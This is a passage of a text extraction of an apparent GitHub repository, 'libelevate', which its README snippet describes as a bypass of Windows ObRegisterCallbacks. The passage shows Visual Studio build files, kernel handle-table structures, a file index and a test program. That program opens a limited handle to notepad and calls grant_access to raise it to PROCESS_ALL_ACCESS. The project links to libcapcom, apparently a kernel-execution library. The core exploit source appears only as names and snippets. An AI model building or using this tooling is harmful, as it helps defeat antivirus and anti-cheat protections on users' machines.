<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpplatest</LanguageStandard>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
<Lib>
<AdditionalDependencies>libcapcom.lib</AdditionalDependencies>
</Lib>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="kerneloffsets.cpp" />
<ClCompile Include="libelevate.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="kerneloffsets.h" />
<ClInclude Include="libelevate.h" />
<ClInclude Include="structs.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
================================================
FILE: libelevate/libelevate.vcxproj.filters
================================================
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="libelevate.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="kerneloffsets.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="libelevate.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="kerneloffsets.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="structs.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
</Project>
================================================
FILE: libelevate/structs.h
================================================
#pragma once
#define WIN32_NO_STATUS
#include <Windows.h>
#include <Winternl.h>
#undef WIN32_NO_STATUS
#include <ntstatus.h>
namespace native::structs
{
typedef struct _HANDLE_TABLE_ENTRY
{
union
{
PVOID Object;
ULONG ObAttributes;
};
union
{
union
{
ACCESS_MASK GrantedAccess;
struct
{
USHORT GrantedAccessIndex;
USHORT CreatorBackTraceIndex;
};
};
LONG NextFreeTableEntry;
};
} HANDLE_TABLE_ENTRY, *PHANDLE_TABLE_ENTRY;
typedef struct _HANDLE_TABLE
{
char padding[100]; // we don't care about this actual structure
} HANDLE_TABLE, *PHANDLE_TABLE;
typedef BOOLEAN(*EX_ENUMERATE_HANDLE_ROUTINE)(IN PHANDLE_TABLE_ENTRY, IN HANDLE, IN PVOID);
typedef CLIENT_ID* PCLIENT_ID;
typedef ULONG(*DbgPrintEx_t)(_In_ ULONG, _In_ ULONG, _In_ PCSTR, ...);
typedef PVOID(*PsGetCurrentProcess_t)();
typedef VOID(*RtlInitUnicodeString_t)(PUNICODE_STRING, PCWSTR);
typedef PVOID(NTAPI* MmGetSystemRoutineAddress_t)(PUNICODE_STRING);
}
================================================
FILE: libelevate.sln
================================================
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 15
VisualStudioVersion = 15.0.28010.2016
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libelevate", "libelevate\libelevate.vcxproj", "{5BBDF4C8-27BC-488C-8D19-B3C345CA1F0E}"
ProjectSection(ProjectDependencies) = postProject
{AE5BAFC9-E4BA-4786-96E4-A564B113B206} = {AE5BAFC9-E4BA-4786-96E4-A564B113B206}
EndProjectSection
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libcapcom", "..\libcapcom\libcapcom\libcapcom.vcxproj", "{AE5BAFC9-E4BA-4786-96E4-A564B113B206}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "testlibelevate", "testlibelevate\testlibelevate.vcxproj", "{D5D362C4-C5E5-4567-91C1-9563A83423E4}"
ProjectSection(ProjectDependencies) = postProject
{5BBDF4C8-27BC-488C-8D19-B3C345CA1F0E} = {5BBDF4C8-27BC-488C-8D19-B3C345CA1F0E}
EndProjectSection
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{5BBDF4C8-27BC-488C-8D19-B3C345CA1F0E}.Debug|x64.ActiveCfg = Debug|x64
{5BBDF4C8-27BC-488C-8D19-B3C345CA1F0E}.Debug|x64.Build.0 = Debug|x64
{5BBDF4C8-27BC-488C-8D19-B3C345CA1F0E}.Debug|x86.ActiveCfg = Debug|Win32
{5BBDF4C8-27BC-488C-8D19-B3C345CA1F0E}.Debug|x86.Build.0 = Debug|Win32
{5BBDF4C8-27BC-488C-8D19-B3C345CA1F0E}.Release|x64.ActiveCfg = Release|x64
{5BBDF4C8-27BC-488C-8D19-B3C345CA1F0E}.Release|x64.Build.0 = Release|x64
{5BBDF4C8-27BC-488C-8D19-B3C345CA1F0E}.Release|x86.ActiveCfg = Release|Win32
{5BBDF4C8-27BC-488C-8D19-B3C345CA1F0E}.Release|x86.Build.0 = Release|Win32
{AE5BAFC9-E4BA-4786-96E4-A564B113B206}.Debug|x64.ActiveCfg = Debug|x64
{AE5BAFC9-E4BA-4786-96E4-A564B113B206}.Debug|x64.Build.0 = Debug|x64
{AE5BAFC9-E4BA-4786-96E4-A564B113B206}.Debug|x86.ActiveCfg = Debug|Win32
{AE5BAFC9-E4BA-4786-96E4-A564B113B206}.Debug|x86.Build.0 = Debug|Win32
{AE5BAFC9-E4BA-4786-96E4-A564B113B206}.Release|x64.ActiveCfg = Release|x64
{AE5BAFC9-E4BA-4786-96E4-A564B113B206}.Release|x64.Build.0 = Release|x64
{AE5BAFC9-E4BA-4786-96E4-A564B113B206}.Release|x86.ActiveCfg = Release|Win32
{AE5BAFC9-E4BA-4786-96E4-A564B113B206}.Release|x86.Build.0 = Release|Win32
{D5D362C4-C5E5-4567-91C1-9563A83423E4}.Debug|x64.ActiveCfg = Debug|x64
{D5D362C4-C5E5-4567-91C1-9563A83423E4}.Debug|x64.Build.0 = Debug|x64
{D5D362C4-C5E5-4567-91C1-9563A83423E4}.Debug|x86.ActiveCfg = Debug|Win32
{D5D362C4-C5E5-4567-91C1-9563A83423E4}.Debug|x86.Build.0 = Debug|Win32
{D5D362C4-C5E5-4567-91C1-9563A83423E4}.Release|x64.ActiveCfg = Release|x64
{D5D362C4-C5E5-4567-91C1-9563A83423E4}.Release|x64.Build.0 = Release|x64
{D5D362C4-C5E5-4567-91C1-9563A83423E4}.Release|x86.ActiveCfg = Release|Win32
{D5D362C4-C5E5-4567-91C1-9563A83423E4}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {A8666E26-937D-424D-B5B3-63D9FCD96291}
EndGlobalSection
EndGlobal
================================================
FILE: testlibelevate/main.cpp
================================================
#include <stdio.h>
#include <Windows.h>
#include <tlhelp32.h>
#include <map>
#include <string>
#include "libelevate.h"
std::map<std::string, DWORD> GetProcessList()
{
std::map<std::string, DWORD> processList;
PROCESSENTRY32 pe32;
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE || hSnapshot == 0)
return processList;
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hSnapshot, &pe32))
{
CloseHandle(hSnapshot);
return processList;
}
do
{
processList[pe32.szExeFile] = pe32.th32ProcessID;
} while (Process32Next(hSnapshot, &pe32));
CloseHandle(hSnapshot);
return processList;
}
int main()
{
DWORD notepadPID = GetProcessList()["notepad.exe"];
HANDLE notepadHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, false, notepadPID);
printf("Elevating handle 0x%llx for PID %i from %s to %s\n", notepadHandle, notepadPID, "PROCESS_QUERY_LIMITED INFORMATION", "PROCESS_ALL_ACCESS");
grant_access(notepadHandle, PROCESS_ALL_ACCESS);
system("pause");
return 0;
}
================================================
FILE: testlibelevate/testlibelevate.vcxproj
================================================
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>15.0</VCProjectVersion>
<ProjectGuid>{D5D362C4-C5E5-4567-91C1-9563A83423E4}</ProjectGuid>
<RootNamespace>testlibelevate</RootNamespace>
<WindowsTargetPlatformVersion>10.0.17134.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<IncludePath>$(SolutionDir)libelevate\;$(IncludePath)</IncludePath>
<LibraryPath>$(SolutionDir)x64\Release;$(LibraryPath)</LibraryPath>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<AdditionalDependencies>libelevate.lib;Version.lib;ntdll.lib;%(AdditionalDependencies)</AdditionalDependencies>
<UACExecutionLevel>RequireAdministrator</UACExecutionLevel>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<SDLCheck>true</SDLCheck>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<SDLCheck>true</SDLCheck>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="main.cpp" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
================================================
FILE: testlibelevate/testlibelevate.vcxproj.filters
================================================
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="main.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>
gitextract_6xerqbfn/
├── .gitignore
├── .gitmodules
├── README.md
├── libelevate/
│ ├── kerneloffsets.cpp
│ ├── kerneloffsets.h
│ ├── libelevate.cpp
│ ├── libelevate.h
│ ├── libelevate.vcxproj
│ ├── libelevate.vcxproj.filters
│ └── structs.h
├── libelevate.sln
└── testlibelevate/
├── main.cpp
├── testlibelevate.vcxproj
└── testlibelevate.vcxproj.filters
SYMBOL INDEX (11 symbols across 5 files) FILE: libelevate/kerneloffsets.cpp function windows_version (line 13) | windows_version get_windows_version() FILE: libelevate/kerneloffsets.h type windows_version (line 6) | enum windows_version function class (line 19) | class kernel_offsets function init_win8 (line 69) | static void init_win8() function init_win81 (line 81) | static void init_win81() function init_win10 (line 93) | static void init_win10() FILE: libelevate/libelevate.cpp function PHANDLE_TABLE_ENTRY (line 7) | PHANDLE_TABLE_ENTRY ExpLookupHandleTableEntry(PHANDLE_TABLE pHandleTable... function grant_access (line 32) | bool grant_access(HANDLE handle, ACCESS_MASK access) FILE: libelevate/structs.h function namespace (line 8) | namespace native::structs FILE: testlibelevate/main.cpp function GetProcessList (line 9) | std::map<std::string, DWORD> GetProcessList() function main (line 33) | int main()
Condensed preview — 14 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (50K chars).
[
{
"path": ".gitignore",
"chars": 5582,
"preview": "## Ignore Visual Studio temporary files, build results, and\n## files generated by popular Visual Studio add-ons.\n##\n## G"
},
{
"path": ".gitmodules",
"chars": 92,
"preview": "[submodule \"libcapcom\"]\n\tpath = libcapcom\n\turl = https://github.com/notscimmy/libcapcom.git\n"
},
{
"path": "README.md",
"chars": 14414,
"preview": "# libelevate - Bypass ObRegisterCallbacks via elevation\n\n## ObRegisterCallbacks\nOne of the goals of antivirus and antich"
},
{
"path": "libelevate/kerneloffsets.cpp",
"chars": 1665,
"preview": "#include \"kerneloffsets.h\"\n\nwindows_version kernel_offsets::version;\nuint64_t kernel_offsets::name;\nuint64_t kernel_offs"
},
{
"path": "libelevate/kerneloffsets.h",
"chars": 2320,
"preview": "#pragma once\n\n#include <string>\n#include <Windows.h>\n\nenum windows_version\n{\n\tWINDOWS7,\n\tWINDOWS8,\n\tWINDOWS81,\n\tWINDOWS1"
},
{
"path": "libelevate/libelevate.cpp",
"chars": 1912,
"preview": "#include \"structs.h\"\n#include \"kerneloffsets.h\"\n#include \"libcapcom.h\"\n\nusing namespace native::structs;\n\nPHANDLE_TABLE_"
},
{
"path": "libelevate/libelevate.h",
"chars": 541,
"preview": "#pragma once\n\n#include <Windows.h>\n\n/*\n\tGrants the given `handle` the access rights defined by `access`\n\n\t@param handle "
},
{
"path": "libelevate/libelevate.vcxproj",
"chars": 6458,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" ToolsVersion=\"15.0\" xmlns=\"http://schemas.microso"
},
{
"path": "libelevate/libelevate.vcxproj.filters",
"chars": 1345,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuil"
},
{
"path": "libelevate/structs.h",
"chars": 992,
"preview": "#pragma once\n#define WIN32_NO_STATUS\n#include <Windows.h>\n#include <Winternl.h>\n#undef WIN32_NO_STATUS\n#include <ntstatu"
},
{
"path": "libelevate.sln",
"chars": 3239,
"preview": "\nMicrosoft Visual Studio Solution File, Format Version 12.00\n# Visual Studio 15\nVisualStudioVersion = 15.0.28010.2016\nM"
},
{
"path": "testlibelevate/main.cpp",
"chars": 1057,
"preview": "#include <stdio.h>\n#include <Windows.h>\n#include <tlhelp32.h>\n#include <map>\n#include <string>\n\n#include \"libelevate.h\"\n"
},
{
"path": "testlibelevate/testlibelevate.vcxproj",
"chars": 6286,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" ToolsVersion=\"15.0\" xmlns=\"http://schemas.microso"
},
{
"path": "testlibelevate/testlibelevate.vcxproj.filters",
"chars": 937,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuil"
}
]
About this extraction
This page contains the full source code of the notscimmy/libelevate GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 14 files (45.7 KB), approximately 13.9k tokens, and a symbol index with 11 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.